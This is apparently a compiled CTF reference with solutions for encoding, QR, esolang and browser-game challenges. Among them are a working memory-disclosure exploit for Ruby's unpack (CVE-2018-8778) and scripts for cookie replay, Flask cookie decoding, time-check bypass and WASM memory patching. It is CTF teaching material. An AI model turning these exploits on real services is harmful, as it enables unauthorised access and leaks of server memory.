Narrow images (7-8 pixels wide) may encode ASCII characters as binary pixel rows:
from PIL import Image
img = Image.open('challenge.png')
pixels = img.load()
width, height = img.size
text = ''
for y in range(height):
bits = ''
for x in range(width):
r, g, b = pixels[x, y][:3]
# Red pixel = 1, Black pixel = 0 (or white=1, black=0)
bits += '1' if r > 128 else '0'
# Pad to 8 bits if needed (7-pixel-wide images)
if len(bits) == 7:
bits = '0' + bits # Prepend leading zero
text += chr(int(bits, 2))
print(text)Key insight: Image width of 7 or 8 pixels strongly suggests binary character encoding (7-bit ASCII or 8-bit). Check both color channels and brightness thresholds.
---
Hexadecimal Sudoku + QR Assembly (BSidesSF 2026)
Pattern (hexhaustion): Flag is encoded across 4 QR codes, each containing one quadrant of a 16x16 hexadecimal Sudoku grid. Solve the Sudoku, read the main diagonal values as hex pairs, convert to ASCII for the flag.
Solving steps:
1. Scan QR codes: Use zbarimg or pyzbar to decode all 4 QR codes 2. Assemble grid: Each QR contains a quadrant (8x8) with hex values (0-F) and blanks 3. Solve the 16x16 Sudoku: Standard Sudoku rules apply with hex digits (0-F) — each row, column, and 4x4 box contains each digit exactly once 4. Extract flag: Read diagonal values grid[i][i] for i=0..15, pair into bytes, decode as ASCII
from itertools import product
def solve_hex_sudoku(grid):
"""Solve 16x16 Sudoku with hex digits 0-F using backtracking."""
digits = set(range(16))
def possible(r, c):
used = set()
used.update(grid[r]) # Row
used.update(grid[i][c] for i in range(16)) # Column
br, bc = (r // 4) * 4, (c // 4) * 4 # 4x4 box
for i, j in product(range(br, br+4), range(bc, bc+4)):
used.update({grid[i][j]})
used.discard(-1) # -1 = blank
return digits - used
def solve():
for r, c in product(range(16), range(16)):
if grid[r][c] == -1:
for d in possible(r, c):
grid[r][c] = d
if solve():
return True
grid[r][c] = -1
return False
return True
solve()
return grid
# Read diagonal and convert to ASCII
solved = solve_hex_sudoku(grid)
diag_hex = ''.join(format(solved[i][i], 'X') for i in range(16))
flag = bytes.fromhex(diag_hex).decode('ascii')
print(flag) # e.g., "HYPOAXIS"Key insight: The QR codes serve as both a distribution mechanism (splitting the puzzle into 4 pieces) and a data encoding layer. The actual flag encoding is in the Sudoku solution's diagonal values interpreted as hex bytes.
When to recognize: Challenge distributes multiple QR codes, mentions "hex", "nibbles", or "16x16 grid". QR content contains hex characters with blanks/underscores.
References: BSidesSF 2026 "hexhaustion"
---
TOPKEK Binary Encoding (Hack The Vote 2016)
Custom binary encoding where KEK represents bit 0 and TOP represents bit 1. Exclamation marks indicate bit repetition count.
def decode_topkek(encoded):
"""Decode TOPKEK encoding: KEK=0, TOP=1, !=repeat count"""
tokens = encoded.split()
bits = ""
for token in tokens:
# Count exclamation marks (repeat count = len - 3)
base = token.replace('!', '')
repeats = len(token) - len(base)
if repeats == 0:
repeats = 1
if base == "KEK":
bits += "0" * repeats
elif base == "TOP":
bits += "1" * repeats
# Convert bit string to ASCII
message = ""
for i in range(0, len(bits), 8):
byte = bits[i:i+8]
if len(byte) == 8:
message += chr(int(byte, 2))
return message
# Example: "KEK! TOP!! KEK TOP!"
# = "0" + "11" + "0" + "1" = "0110 1..."Key insight: TOPKEK is a CTF-specific encoding. Recognize it by the pattern of TOP/KEK words with varying numbers of ! suffixes. Each ! adds one repetition of the corresponding bit value. Decode to binary, then group into 8-bit bytes for ASCII.
---
MaxiCode 2D Barcode Decoding (CSAW CTF 2016)
MaxiCode is a hexagonal 2D barcode used by UPS, occasionally found in CTF forensics challenges.
# Identify MaxiCode: distinctive bullseye center pattern
# with hexagonal dot matrix (unlike QR's square modules)
# Decode using zxing library:
# Online: https://zxing.org/w/decode.jspx (upload image)
# Python:
# pip install zxing pyzbar
python3 -c "
from pyzbar.pyzbar import decode
from PIL import Image
results = decode(Image.open('maxicode.gif'), symbols=[pyzbar.ZBarSymbol.CODE128])
# Note: pyzbar may not support MaxiCode directly
# Use zxing Java library instead:
"
# Java zxing command-line:
java -cp javase.jar:core.jar com.google.zxing.client.j2se.CommandLineRunner maxicode.gif
# Alternative: use online decoders
# - https://products.aspose.app/barcode/recognize
# - https://www.onlinebarcodereader.com/Key insight: MaxiCode has a distinctive bullseye center (3 concentric circles) surrounded by a hexagonal grid. Standard QR decoders won't read it. Use zxing (Java) which supports MaxiCode natively, or online barcode decoders. MaxiCode is found in shipping labels, CTF forensics disk images, and embedded in other files.
---
DTMF Audio with Multi-Tap Phone Keypad Decoding (h4ckc0n 2017)
Pattern: Audio file contains DTMF telephone keypad tones. This is a two-layer encoding: first decode tones to a digit sequence, then decode grouped digits as multi-tap phone keypad input (repeated presses select letters).
Step 1 — Decode DTMF tones to digits: Use Audacity's spectrogram view or an online DTMF decoder to identify tone pairs. Pauses/gaps indicate word or group boundaries.
Step 2 — Decode multi-tap keypad: Group digits by their key press sequences, then map to letters:
# Multi-tap decode mapping
T9 = {
'2':'a', '22':'b', '222':'c',
'3':'d', '33':'e', '333':'f',
'4':'g', '44':'h', '444':'i',
'5':'j', '55':'k', '555':'l',
'6':'m', '66':'n', '666':'o',
'7':'p', '77':'q', '777':'r', '7777':'s',
'8':'t', '88':'u', '888':'v',
'9':'w', '99':'x', '999':'y', '9999':'z',
}
def decode_multitap(groups):
"""groups: list of strings like ['444', '88', '2', ...]"""
return ''.join(T9.get(g, '?') for g in groups)Key insight: Two-layer encoding — DTMF tones encode digits, then digit sequences use multi-tap phone keypad mapping. Use Audacity's spectrogram to identify pause positions for grouping boundaries. Each same-digit run maps to one letter; a pause separates distinct keypresses on the same digit key.
---
Music Note Interval Steganography (DefCamp 2017)
Pattern: An MP3 is transcribed to musical notes. The flag is encoded as pairs of notes where each note maps to a nibble (4 bits) based on its position (scale degree) in the D major scale. Two nibbles combine to form one byte/character.
Encoding scheme:
- D major scale degrees 0–7 map to nibble values 0–7 (3-bit nibble) or 0–15 (4-bit nibble) depending on variant
- Each pair of consecutive notes encodes one character:
(note1 << 4) | note2 - Known flag prefix/suffix (e.g.,
CTF{...}) at start/end reveals the alphabet mapping
Recovery approach:
# Example: D major scale degree → nibble value
# D=0, E=1, F#=2, G=3, A=4, B=5, C#=6, D(octave)=7
scale = {'D': 0, 'E': 1, 'F#': 2, 'G': 3, 'A': 4, 'B': 5, 'C#': 6}
notes = ['A', 'D', 'G', 'E', ...] # transcribed from audio
chars = []
for i in range(0, len(notes) - 1, 2):
hi = scale[notes[i]]
lo = scale[notes[i+1]]
chars.append(chr((hi << 4) | lo))
print(''.join(chars))Key insight: Known plaintext at the start and end (flag format like CTF{ and }) reveals the encoding alphabet — map the known characters back to their note pairs to confirm the scale-degree assignment. Musical scale degree = nibble value; pairs of notes = one byte.
---
Ruby Array#unpack Buffer Under-Read CVE-2018-8778 (Codegate 2019)
Pattern: A Ruby service calls String#unpack (or Array#pack) with an attacker-controlled format string. On pre-2.5.1 Ruby, oversized @N offsets are compared with signed integers, so a huge N wraps to a negative pointer offset — unpack then reads bytes from memory before the string's buffer and emits them as integers. Combined with the common bug of putting user input inside the format (e.g. input.unpack("C*#{input}.length")), you get an arbitrary memory dump primitive.
# Remote Ruby server evaluates: input.unpack("C*#{input}.length")
# Supplying "@HUGECHUNK1200000" as input builds format "C*@HUGECHUNK1200000.length"
# which unpack parses as: @<offset> C<count> -> read <count> bytes from far offset.
import socket
payload = b'@18446744073708351616C1200000\n1\n' # 2**64 - 0x1C0000
s = socket.create_connection(('target', 12137))
s.sendall(payload)
data = b''
while True:
chunk = s.recv(4096)
if not chunk:
break
data += chunk
# Each emitted line is one int (byte value from leaked memory)
import string
out = ''.join(
chr(int(line)) for line in data.decode(errors='ignore').splitlines()
if line.strip().isdigit() and chr(int(line)) in string.printable
)
import re
print(re.findall(r'FLAG\{[^}]*\}', out))Key insight: String#unpack is not inherently unsafe — it becomes catastrophic when (a) the format string is attacker-controlled (format-injection pattern, equivalent to printf bugs), and (b) the Ruby runtime is pre-2.5.1 (CVE-2018-8778). Huge @N offsets leak arbitrary memory. Always audit Ruby services that interpolate user input into pack/unpack/sprintf templates.
References: Codegate CTF 2019 Preliminary — mini converter, writeup 13209
---
Binary Grid Text to QR Image + XOR Key (Pragyan CTF 2019)
Pattern: A text file contains only 0 and 1 characters (often one per line or with random line breaks). Strip whitespace, verify the length is a perfect square (or a known W*H), render as a pixel grid, and decode with pyzbar. The QR payload is hex-encoded and must be XORed with a repeating key (commonly flag or the challenge name) to reveal the flag.
from PIL import Image, ImageDraw
from pyzbar.pyzbar import decode
raw = open('01qr').read()
bits = ''.join(c for c in raw if c in '01')
# Guess dimensions
import math
n = int(math.isqrt(len(bits)))
assert n * n == len(bits), f'not square: {len(bits)}'
scale = 5
img = Image.new('RGB', (n * scale, n * scale), (255, 255, 255))
d = ImageDraw.Draw(img)
for i in range(n):
for j in range(n):
if bits[i * n + j] == '0': # 0 == black in this challenge
d.rectangle((j*scale, i*scale,
j*scale + scale, i*scale + scale), fill=(0, 0, 0))
img.save('qr.png')
hexstr = decode(img)[0].data.decode()
ct = bytes.fromhex(hexstr)
key = b'flag'
pt = bytes(b ^ key[i % len(key)] for i, b in enumerate(ct))
print(pt)Key insight: Binary-grid text files are often "render me" puzzles — one pixel per bit, scale by 4-8x so zbarimg/pyzbar can find the finder patterns. If the decoded bytes are printable-ish but nonsense (e.g. 9YQ8S_VY^), try short repeating-key XOR with the word flag, the CTF name, or ctf{ — XORing the first 5 bytes of ciphertext with pctf{ recovers the key immediately.
References: Pragyan CTF 2019 — EXORcism, writeup 13835
CTF Misc - Encodings & Media
Table of Contents
- Common Encodings
- Base64
- Base32
- Hex
- IEEE 754 Floating Point Encoding
- UTF-16 Endianness Reversal (LACTF 2026)
- BCD (Binary-Coded Decimal) Encoding (VuwCTF 2025)
- Multi-Layer Encoding Detection (0xFun 2026)
- URL Encoding
- ROT13 / Caesar
- Caesar Brute Force
- QR Codes
- Basic Commands
- QR Structure
- Repairing Damaged QR
- Finder Pattern Template
- QR Code Chunk Reassembly (LACTF 2026)
- QR Code Chunk Reassembly via Indexed Directories (UTCTF 2026)
- Multi-Stage URL Encoding Chain (UTCTF 2026)
- Esoteric Languages
- Whitespace Language Parser (BYPASS CTF 2025)
- Custom Brainfuck Variants (Themed Esolangs)
- Multi-Layer Esoteric Language Chains (Break In 2016)
- base65536 CJK Unicode Binary Encoding (IceCTF 2018)
See also: encodings-advanced.md - Verilog/HDL, Gray code, binary tree encoding, RTF custom tags, SMS PDU decoding, multi-encoding solvers, UTF-9, pixel binary encoding, hex Sudoku + QR, TOPKEK, MaxiCode
---
Common Encodings
Base64
echo "encoded" | base64 -d
# Charset: A-Za-z0-9+/=Base32
echo "OBUWG32DKRDHWMLUL53TI43OG5PWQNDSMRPXK3TSGR3DG3BRNY4V65DIGNPW2MDCGFWDGX3DGBSDG7I=" | base32 -d
# Charset: A-Z2-7= (no lowercase, no 0,1,8,9)Hex
echo "68656c6c6f" | xxd -r -pIEEE 754 Floating Point Encoding
Numbers that encode ASCII text when viewed as raw IEEE 754 bytes:
import struct
values = [240600592, 212.2753143310547, 2.7884192016691608e+23]
# Each float32 packs to 4 ASCII bytes
for v in values:
packed = struct.pack('>f', v) # Big-endian single precision
print(f"{v} -> {packed}") # b'Meta', b'CTF{', b'fl04'
# For double precision (8 bytes per value):
# struct.pack('>d', v)Key insight: If challenge gives a list of numbers (mix of integers, decimals, scientific notation), try packing each as IEEE 754 float32 (struct.pack('>f', v)) — the 4 bytes often spell ASCII text.
UTF-16 Endianness Reversal (LACTF 2026)
Pattern (endians): Text "turned to Japanese" -- mojibake from UTF-16 endianness mismatch.
Fix: Reverse the encoding/decoding order:
# If encoded as UTF-16-LE but decoded as UTF-16-BE:
fixed = mojibake.encode('utf-16-be').decode('utf-16-le')
# If encoded as UTF-16-BE but decoded as UTF-16-LE:
fixed = mojibake.encode('utf-16-le').decode('utf-16-be')Identification: Text appears as CJK characters (Japanese/Chinese), challenge mentions "translation" or "endian".
BCD (Binary-Coded Decimal) Encoding (VuwCTF 2025)
Pattern: Challenge name hints at ratio (e.g., "1.5x" = 1.5:1 byte ratio). Each nibble encodes one decimal digit.
def bcd_decode(data):
"""Decode BCD: each byte = 2 decimal digits."""
return ''.join(f'{(b>>4)&0xf}{b&0xf}' for b in data)
# Then convert decimal string to ASCII
ascii_text = ''.join(chr(int(decoded[i:i+2])) for i in range(0, len(decoded), 2))Multi-Layer Encoding Detection (0xFun 2026)
Pattern (139 steps): Recursive decoding with troll flags as decoys.
Critical rule: When data is all hex chars (0-9, a-f), decode as hex FIRST, not base64 (which also accepts those chars).
def auto_decode(data):
while True:
data = data.strip()
if data.startswith('REAL_DATA_FOLLOWS:'):
data = data.split(':', 1)[1]
# Prioritize hex when ambiguous
if all(c in '0123456789abcdefABCDEF' for c in data) and len(data) % 2 == 0:
data = bytes.fromhex(data).decode('ascii', errors='replace')
elif set(data) <= set('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='):
data = base64.b64decode(data).decode('ascii', errors='replace')
else:
break
return dataIgnore troll flags — check for "keep decoding" or "REAL_DATA_FOLLOWS:" markers.
URL Encoding
import urllib.parse
urllib.parse.unquote('hello%20world')ROT13 / Caesar
echo "uryyb" | tr 'a-zA-Z' 'n-za-mN-ZA-M'ROT13 patterns: gur = "the", synt = "flag"
Caesar Brute Force
text = "Khoor Zruog"
for shift in range(26):
decoded = ''.join(
chr((ord(c) - 65 - shift) % 26 + 65) if c.isupper()
else chr((ord(c) - 97 - shift) % 26 + 97) if c.islower()
else c for c in text)
print(f"{shift:2d}: {decoded}")---
QR Codes
Basic Commands
zbarimg qrcode.png # Decode
zbarimg -S*.enable qr.png # All barcode types
qrencode -o out.png "data" # EncodeQR Structure
Finder patterns (3 corners): 7x7 modules at top-left, top-right, bottom-left
Version formula: (version * 4) + 17 modules per side
Repairing Damaged QR
from PIL import Image
import numpy as np
img = Image.open('damaged_qr.png')
arr = np.array(img)
# Convert to binary
gray = np.mean(arr, axis=2)
binary = (gray < 128).astype(int)
# Find QR bounds
rows = np.any(binary, axis=1)
cols = np.any(binary, axis=0)
rmin, rmax = np.where(rows)[0][[0, -1]]
cmin, cmax = np.where(cols)[0][[0, -1]]
# Check finder patterns
qr = binary[rmin:rmax+1, cmin:cmax+1]
print("Top-left:", qr[0:7, 0:7].sum()) # Should be ~25Finder Pattern Template
finder_pattern = [
[1,1,1,1,1,1,1],
[1,0,0,0,0,0,1],
[1,0,1,1,1,0,1],
[1,0,1,1,1,0,1],
[1,0,1,1,1,0,1],
[1,0,0,0,0,0,1],
[1,1,1,1,1,1,1],
]QR Code Chunk Reassembly (LACTF 2026)
Pattern (error-correction): QR code split into grid of chunks (e.g., 5x5 of 9x9 pixels), shuffled.
Solving approach: 1. Fix known chunks: Use structural patterns -- finder patterns (3 corners), timing patterns, alignment patterns -- to place ~50% of chunks 2. Extract codeword constraints: For each candidate payload length, use QR spec to identify which pixels are invariant across encodings 3. Backtracking search: Assign remaining chunks under pixel constraints until QR decodes successfully
Tools: segno (Python QR library), zbarimg for decoding.
QR Code Chunk Reassembly via Indexed Directories (UTCTF 2026)
Pattern (QRecreate): QR code split into numbered chunks stored in separate directories. Directory names encode the chunk index as base64 (e.g., MDAx → 001 → index 1).
Solving approach: 1. Decode each directory name from base64 to get the numeric index 2. Sort chunks by decoded index 3. Arrange in a grid (e.g., 100 chunks → 10x10) and stitch into a single image 4. Decode the reconstructed QR code
import os, base64, math
from PIL import Image
# 1. Decode directory names to get indices
chunks = []
for dirname in os.listdir('chunks/'):
index = int(base64.b64decode(dirname).decode())
tile = Image.open(f'chunks/{dirname}/tile.png')
chunks.append((index, tile))
# 2. Sort by index and arrange in grid
chunks.sort(key=lambda x: x[0])
n = len(chunks)
side = int(math.isqrt(n))
tile_w, tile_h = chunks[0][1].size
canvas = Image.new("RGB", (side * tile_w, side * tile_h), (255, 255, 255))
for i, (_, tile) in enumerate(chunks):
r, c = divmod(i, side)
canvas.paste(tile, (c * tile_w, r * tile_h))
canvas.save('reconstructed_qr.png')
# 3. Decode with zbarimg or pyzbarKey insight: Unlike the LACTF variant (shuffled chunks requiring structural analysis), indexed chunks just need sorting. The challenge is recognizing that directory names are base64-encoded indices. Check base64 -d on folder names when they look like random strings.
---
Multi-Stage URL Encoding Chain (UTCTF 2026)
Pattern (Breadcrumbs): Flag is hidden behind a chain of URLs, each encoded differently. Follow the breadcrumbs across external resources (GitHub Gists, Pastebin, etc.), decoding at each hop.
Common encoding layers per hop: 1. Base64 → URL to next resource 2. Hex → URL to next resource (e.g., 68747470733a2f2f... = https://...) 3. ROT13 → final flag
Decoding workflow:
import base64, codecs
# Hop 1: Base64
hop1 = "aHR0cHM6Ly9naXN0Lmdp..."
url2 = base64.b64decode(hop1).decode()
# Hop 2: Hex-encoded URL
hop2 = "68747470733a2f2f..."
url3 = bytes.fromhex(hop2).decode()
# Hop 3: ROT13-encoded flag
hop3 = "hgsynt{...}"
flag = codecs.decode(hop3, 'rot_13')Key insight: Each resource contains a hint about the next encoding (e.g., "Three letters follow" hints at 3-character encoding like hex). Look for contextual clues in surrounding text (poetry, comments, filenames) that indicate the encoding type.
Detection: Challenge mentions "trail", "breadcrumbs", "follow", or "scavenger hunt". First resource contains what looks like encoded data rather than a direct flag.
---
Esoteric Languages
| Language | Pattern |
|---|---|
| Brainfuck | ++++++++++[>+++++++> |
| Whitespace | Only spaces, tabs, newlines (or S/T/L substitution) |
| Ook! | Ook. Ook? Ook! |
| Malbolge | Extremely obfuscated |
| Piet | Image-based |
Whitespace Language Parser (BYPASS CTF 2025)
Pattern (Whispers of the Cursed Scroll): File contains only S (space), T (tab), L (linefeed) characters — or visible substitutes. Stack-based virtual machine (VM) with PUSH, OUTPUT, and EXIT instructions.
Instruction set (IMP = Instruction Modification Parameter):
| Instruction | Encoding | Action |
|---|---|---|
| PUSH | S S + sign + binary + L | Push number to stack (S=0, T=1, L=terminator) |
| OUTPUT CHAR | T L S S | Pop stack, print as ASCII character |
| EXIT | L L L | Halt program |
def solve_whitespace(content):
# Convert to S/T/L tokens (handle both raw whitespace and visible chars)
if any(c in content for c in 'STL'):
code = [c for c in content if c in 'STL']
else:
code = [{'\\s': 'S', '\\t': 'T', '\\n': 'L'}.get(c, '') for c in content]
code = [c for c in code if c]
stack, output, i = [], "", 0
while i < len(code):
if code[i:i+2] == ['S', 'S']: # PUSH
i += 2
sign = 1 if code[i] == 'S' else -1
i += 1
val = 0
while i < len(code) and code[i] != 'L':
val = (val << 1) + (1 if code[i] == 'T' else 0)
i += 1
i += 1 # skip terminator L
stack.append(sign * val)
elif code[i:i+4] == ['T', 'L', 'S', 'S']: # OUTPUT CHAR
i += 4
if stack:
output += chr(stack.pop())
elif code[i:i+3] == ['L', 'L', 'L']: # EXIT
break
else:
i += 1
return outputIdentification: File with only whitespace characters, or challenge mentions "invisible code", "blank page", or uses S/T/L substitution. Try Whitespace interpreter online for quick testing.
---
Custom Brainfuck Variants (Themed Esolangs)
Pattern: File contains repetitive themed words (e.g., "arch", "linux", "btw") used as substitutes for Brainfuck operations. Common in Easy/Misc CTF challenges.
Identification:
- File is ASCII text with very long lines of repeated words
- Small vocabulary (5-8 unique words)
- One word appears as a line terminator (maps to
.output) - Two words are used for increment/decrement (one has many repeats per line)
- Words often relate to a meme or theme (e.g., "I use Arch Linux BTW")
Standard Brainfuck operations to map:
| Op | Meaning | Typical pattern |
|---|---|---|
+ | Increment cell | Most repeated word (defines values) |
- | Decrement cell | Second most repeated word |
> | Move pointer right | Short word, appears alone or with . |
< | Move pointer left | Paired with > word |
[ | Begin loop | Appears at start of lines with ] counterpart |
] | End loop | Appears at end of same lines as [ |
. | Output char | Line terminator word |
Solving approach:
from collections import Counter
words = content.split()
freq = Counter(words)
# Most frequent = likely + or -, line-ender = likely .
# Map words to BF ops, translate, run standard BF interpreter
mapping = {'arch': '+', 'linux': '-', 'i': '>', 'use': '<',
'the': '[', 'way': ']', 'btw': '.'}
bf = ''.join(mapping.get(w, '') for w in words)
# Then execute bf string with a standard Brainfuck interpreterReal example (0xL4ugh CTF - "iUseArchBTW"): .archbtw extension, "I use Arch Linux BTW" meme theme.
Tips: Try swapping +/- or >/< if output is not ASCII. Verify output starts with known flag format.
---
Multi-Layer Esoteric Language Chains (Break In 2016)
Challenges may stack multiple esoteric languages requiring sequential interpretation:
1. Piet: Visual programming language using colored pixel blocks. Execute PNG images as code:
npiet challenge.png # npiet interpreter
# Or: java -jar PietDev.jar challenge.png2. Malbolge: Extremely difficult esoteric language. Decode output from previous layer:
# Piet output → base64 decode → Malbolge source
echo "piet_output" | base64 -d > program.mal
malbolge program.mal # Or use online interpreterCommon esoteric chains: Piet → base64 → Malbolge, Brainfuck → Ook → Whitespace, JSFuck → standard JS.
Key insight: When a PNG file doesn't contain obvious visual stego, try interpreting it as Piet code. Use file + visual inspection to identify the first layer, then decode sequentially.
---
base65536 CJK Unicode Binary Encoding (IceCTF 2018)
Pattern: A blob that looks like a wall of Chinese characters (CJK Unified Ideographs) is actually a base65536 encoding: each character carries two bytes of data, mapping 0x0000..0xFFFF to a picked subset of 65,536 Unicode codepoints. Detect by file reporting "Unicode text, UTF-8" with mostly CJK codepoints; decode with the base65536 npm package or the Python port.
# Node.js / npm path
npm install -g base65536
echo -n "宝䀈䀋..." | base65536 --decode > out.bin
# Python port
pip install base65536
python3 - <<'PY'
import base65536, sys
sys.stdout.buffer.write(base65536.decode(open("blob.txt").read()))
PY > out.bin
file out.bin
# common outcome: "Zip archive data" or "ELF 64-bit"Key insight: base64 expands 3 bytes → 4 chars; base65536 expands 2 bytes → 1 Unicode codepoint, and since a codepoint renders as 1–4 UTF-8 bytes the encoded stream actually expands by ~2× on disk — but visually it looks compact, which is the CTF trick. Any wall of Unicode that lacks variance across the Basic Multilingual Plane and is dominated by CJK, Hangul, or Tibetan is a candidate. Also check base1024 (BMP), base2048, base4096, and base32768 for related tricks.
References: IceCTF 2018 — Rabbit Hole, writeup 11421
CTF Misc - Games, VMs & Constraint Solving (Part 2)
Table of Contents
- Cookie Checkpoint Game Brute-Forcing (BYPASS CTF 2025)
- Flask Session Cookie Game State Leakage (BYPASS CTF 2025)
- WebSocket Game Manipulation + Cryptic Hint Decoding (BYPASS CTF 2025)
- Server Time-Only Validation Bypass (BYPASS CTF 2025)
- De Bruijn Sequence for Substring Coverage (BearCatCTF 2026)
- Brainfuck Interpreter Instrumentation (BearCatCTF 2026)
- WASM Linear Memory Manipulation (BearCatCTF 2026)
- References
---
Cookie Checkpoint Game Brute-Forcing (BYPASS CTF 2025)
Pattern (Signal from the Deck): Server-side game where selecting tiles increases score. Incorrect choice resets the game. Score tracked via session cookies.
Technique: Save cookies before each guess, restore on failure to avoid resetting progress.
import requests
URL = "https://target.example.com"
def solve():
s = requests.Session()
s.post(f"{URL}/api/new")
while True:
data = s.get(f"{URL}/api/signal").json()
if data.get('done'):
break
checkpoint = s.cookies.get_dict()
for tile_id in range(1, 10):
r = s.post(f"{URL}/api/click", json={'clicked': tile_id})
res = r.json()
if res.get('correct'):
if res.get('done'):
print(f"FLAG: {res.get('flag')}")
return
break
else:
s.cookies.clear()
s.cookies.update(checkpoint)Key insight: Session cookies act as save states. Preserving and restoring cookies on failure enables deterministic brute-forcing without game reset penalties.
---
Flask Session Cookie Game State Leakage (BYPASS CTF 2025)
Pattern (Hungry, Not Stupid): Flask game stores correct answers in signed session cookies. Use flask-unsign -d to decode the cookie and reveal server-side game state without playing.
# Decode Flask session cookie (no secret needed for reading)
flask-unsign -d -c '<cookie_value>'Example decoded state:
{
"all_food_pos": [{"x": 16, "y": 12}, {"x": 16, "y": 28}, {"x": 9, "y": 24}],
"correct_food_pos": {"x": 16, "y": 28},
"level": 0
}Key insight: Flask session cookies are signed but not encrypted by default. flask-unsign -d decodes them without the secret key, exposing server-side game state including correct answers.
Detection: Base64-looking session cookies with periods (.) separating segments. Flask uses itsdangerous signing format.
---
WebSocket Game Manipulation + Cryptic Hint Decoding (BYPASS CTF 2025)
Pattern (Maze of the Unseen): Browser-based maze game with invisible walls. Checkpoints verified server-side via WebSocket. Cryptic hint encodes target coordinates.
Technique: 1. Open browser console, inspect WebSocket messages and player object 2. Decode cryptic hints (e.g., "mosquito were not available" → MQTT → port 1883) 3. Teleport directly to target coordinates via console
function teleport(x, y) {
player.x = x;
player.y = y;
verifyProgress(Math.round(player.x), Math.round(player.y));
console.log(`Teleported to x:${player.x}, y:${player.y}`);
}
// "mosquito" → MQTT (port 1883), "not available" → 404
teleport(1883, 404);Common cryptic hint mappings:
- "mosquito" → MQTT (Mosquitto broker, port 1883)
- "not found" / "not available" → HTTP 404
- Port numbers, protocol defaults, or ASCII values as coordinates
Key insight: Browser-based games expose their state in the JS console. Modify player.x/player.y or equivalent properties directly, then call the progress verification function.
---
Server Time-Only Validation Bypass (BYPASS CTF 2025)
Pattern (Level Devil): Side-scrolling game requiring traversal of a map. Server validates that enough time has elapsed (map_length / speed) but doesn't verify actual movement.
import requests
import time
TARGET = "https://target.example.com"
s = requests.Session()
r = s.post(f"{TARGET}/api/start")
session_id = r.json().get('session_id')
# Wait for required traversal time (e.g., 4800px / 240px/s = 20s + margin)
time.sleep(25)
s.post(f"{TARGET}/api/collect_flag", json={'session_id': session_id})
r = s.post(f"{TARGET}/api/win", json={'session_id': session_id})
print(r.json().get('flag'))Key insight: When servers validate only elapsed time (not player position, inputs, or movement), start a session, sleep for the required duration, then submit the win request. Always check if the game API has start/win endpoints that can be called directly.
---
De Bruijn Sequence for Substring Coverage (BearCatCTF 2026)
Pattern (Brown's Revenge): Server generates random n-bit binary code each round. Input must contain the code as a substring. Pass 20+ rounds with a single fixed input under a character limit.
def de_bruijn(k, n):
"""Generate de Bruijn sequence B(k, n): cyclic sequence containing
every k-ary string of length n exactly once as a substring."""
a = [0] * k * n
sequence = []
def db(t, p):
if t > n:
if n % p == 0:
sequence.extend(a[1:p+1])
else:
a[t] = a[t - p]
db(t + 1, p)
for j in range(a[t - p] + 1, k):
a[t] = j
db(t + 1, t)
db(1, 1)
return sequence
# For 12-bit binary codes: B(2, 12) has length 4096
seq = ''.join(map(str, de_bruijn(2, 12)))
payload = seq + seq[:11] # Linearize: 4096 + 11 = 4107 chars
# Every possible 12-bit code appears as a substringKey insight: De Bruijn sequence B(k, n) contains all k^n possible n-length strings over alphabet k as substrings, with cyclic length k^n. To linearize (non-cyclic), append the first n-1 characters. Total length = k^n + n - 1. Send the same string every round — it contains every possible code.
Detection: Must find arbitrary n-bit pattern as substring of limited-length input. Character budget matches de Bruijn length (k^n + n - 1).
---
Brainfuck Interpreter Instrumentation (BearCatCTF 2026)
Pattern (Ghost Ship): Large Brainfuck program (10K+ instructions) validates a flag character-by-character. Full reverse engineering is impractical.
Per-character brute-force via instrumentation: 1. Instrument a Brainfuck interpreter to track tape cell values 2. Identify a "wrong count" cell that increments per incorrect character 3. For each position, try all printable ASCII — pick the character that doesn't increment the wrong counter
def run_bf_instrumented(code, input_bytes, max_steps=500000):
tape = [0] * 30000
dp, ip, inp_idx = 0, 0, 0
for _ in range(max_steps):
if ip >= len(code): break
c = code[ip]
if c == '+': tape[dp] = (tape[dp] + 1) % 256
elif c == '-': tape[dp] = (tape[dp] - 1) % 256
elif c == '>': dp += 1
elif c == '<': dp -= 1
elif c == '.': pass # output
elif c == ',':
tape[dp] = input_bytes[inp_idx] if inp_idx < len(input_bytes) else 0
inp_idx += 1
elif c == '[' and tape[dp] == 0:
# skip to matching ]
...
elif c == ']' and tape[dp] != 0:
# jump back to matching [
...
ip += 1
return tape
# Brute-force: ~40 positions × 95 chars = 3800 runs
flag = []
for pos in range(40):
for c in range(32, 127):
candidate = flag + [c] + [ord('A')] * (39 - pos)
tape = run_bf_instrumented(code, candidate)
if tape[WRONG_COUNT_CELL] == 0: # No errors up to this position
flag.append(c)
breakKey insight: Brainfuck programs that validate input character-by-character can be brute-forced without understanding the program logic. Instrument the interpreter to observe tape state, find the cell that tracks validation progress, and optimize per-character search. ~3800 runs completes in minutes.
---
WASM Linear Memory Manipulation (BearCatCTF 2026)
Pattern (Dubious Doubloon): Browser game compiled to WebAssembly with win conditions requiring luck (e.g., 15 consecutive coin flips). WASM linear memory is flat and unprotected.
Direct memory patching in Node.js:
const { readFileSync } = require('fs');
const wasmBuffer = readFileSync('game.wasm');
const { instance } = await WebAssembly.instantiate(wasmBuffer, imports);
const mem = new DataView(instance.exports.memory.buffer);
// Patch game variables at known offsets
mem.setInt32(0x102918, 14, true); // streak counter = 14 (need 15)
mem.setInt32(0x102898, 100, true); // win chance = 100%
// One more flip → guaranteed win → flag decoded
const result = instance.exports.flipCoin();Key insight: Unlike WAT patching (modifying the binary), memory manipulation patches runtime state after loading. All WASM variables live in flat linear memory at fixed offsets. Use wasm-objdump -x game.wasm or search for known constants to find variable offsets. No need to understand the full game logic — just set the state to "about to win".
Detection: WASM game requiring statistically impossible sequences (streaks, perfect scores). Game logic is in .wasm file loadable in Node.js.
---
References
- BYPASS CTF 2025 "Signal from the Deck": Cookie checkpoint game brute-forcing
- BYPASS CTF 2025 "Hungry, Not Stupid": Flask cookie game state leakage
- BYPASS CTF 2025 "Maze of the Unseen": WebSocket teleportation + cryptic hints
- BYPASS CTF 2025 "Level Devil": Server time-only validation bypass
- BearCatCTF 2026 "Brown's Revenge": De Bruijn sequence substring coverage
- BearCatCTF 2026 "Ghost Ship": Brainfuck instrumentation brute-force
- BearCatCTF 2026 "Dubious Doubloon": WASM linear memory state patching
---
See also: games-and-vms.md for WASM patching, Roblox reversing, PyInstaller, Z3, K8s RBAC, floating-point exploitation, custom assembly sandbox escape, and multi-phase crypto games.
CTF Misc - Games, VMs & Constraint Solving (Part 4)
